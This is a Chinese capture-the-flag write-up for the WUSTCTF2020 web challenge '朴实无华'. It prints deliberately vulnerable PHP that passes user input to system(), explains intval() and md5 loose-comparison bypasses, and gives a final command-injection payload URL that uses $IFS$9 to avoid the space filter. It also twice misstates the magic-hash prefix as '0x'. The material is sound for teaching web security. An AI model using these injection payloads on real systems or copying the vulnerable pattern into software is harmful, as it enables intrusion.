[WUSTCTF2020]朴实无华

感觉这个题目是几个知识点的总和,根据知识点来出的题目。

考察点:三重绕过,intval()函数进行科学计数法的绕过,md5碰撞,命令执行,php绕过过滤空格

目录

 1. 源码泄露

2. 代码审计

(1)level1

(2) level2

(3) get flag

相关资料:


 1. 源码泄露

查看robots.txt,

User-agent: *
Disallow: /fAke_f1agggg.php

继续查看/fAke_f1agggg.php,

这个是个虚假的flag,但是我们可以根据响应头,看到有个提示:fl4g.php,跳转,得到源码

但是,我的编码有点问题,不是很友好,中文乱码,

2. 浏览器调整编码

我用的是firefox浏览器,点击三个杠的图标,然后继续点击更多

然后,点击文字编码

选择unicode编码方式即可。得到源码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

2. 代码审计

大致分析一下:分为三个部分:level1,level2,get flag。三个部分。

(1)level1

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){//需要$num小于2020但是+1之后大于2021
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
} 

我们GET方式传入$num参数,然后实现intval($num) < 2020 && intval($num + 1) > 2021

intval() 函数用于获取变量的整数值。

查阅资料,发现intval有个神奇的地方,直接看测试吧

<?php
    $a = '2e4';
    var_dump($a);
    var_dump(intval($a));
    $b = $a + 1;
    echo $b."\n";
    var_dump($b);
    var_dump(intval($b));

结果:

string(3) "2e4"
int(2)
20001
float(20001)
int(20001)

所以对字符串2e4,intval()函数只会讲其中的2给提取出来,也就是2。

我们知道php还有个强制转换的机制,如果我们将一个字符串和一个数字相加,首先php会将字符串转换成数字,然后将两个数字相加。

而2e4字符串转换成数字是浮点数20000,然后再加0就是浮点数20001,再intval将整数部分提取出来,就是(int)20001。所以可以进行绕过。

(2) level2

//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))     //需要找到一个字符串满足它本身和它的md5编码值弱比较相同
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

看到==,就想到了php弱比较,php会将以0x开头的字符串,当进行==弱比较时,会认为是相同的。

所以就变成了找到一个以0x开头的字符串s,并且md5(s)也是以0x开头的字符串。

0e215962017

   //第二个md5绕过
    $c = "0e215962017";
    echo "$c"."\n";
    $d = md5($c);
    echo "$d"."\n";
    if ($c==$d)
        echo "成功绕过"."\n";

结果:

0e215962017
0e291242476940776845150308577824
成功绕过

(3) get flag

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){     //就是说当$get_flag中没有空格( )的时候,执行下面的语句 
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

strstr() 函数搜索字符串在另一字符串中的第一次出现,并且返回字符串的剩余部分。如果找不到要找的字符串,则返回false.

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

我们需要传入的$get_flag,不存在空格,并且cat也会被替代为wctf2020,然后才会执行$get_flag。

先试试传入ls,查看目录文件

接下来就是查看文件fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

关于tac

cat 和 tac 都是Linux打印文件的命令,但是cat是从第一行至最后一行顺序打印,而tac是最后一行至第一行反向打印。

本地测试

首先再一个文件夹中创建两个文件,flag和a.php

<?php
//a.php

	system("ls");
	echo "<br>";
	system("cat flag");
	echo "<br>"; 
	system("tac flag");
?>

flag文件

//flag文件
这是flag
1
2
3

 执行之后,得到

关于php中替代空格

可以用$IFS$9代替空格

最终的payload:

fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

相关资料:

 1. 关于md5绕过的一些东西

 

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值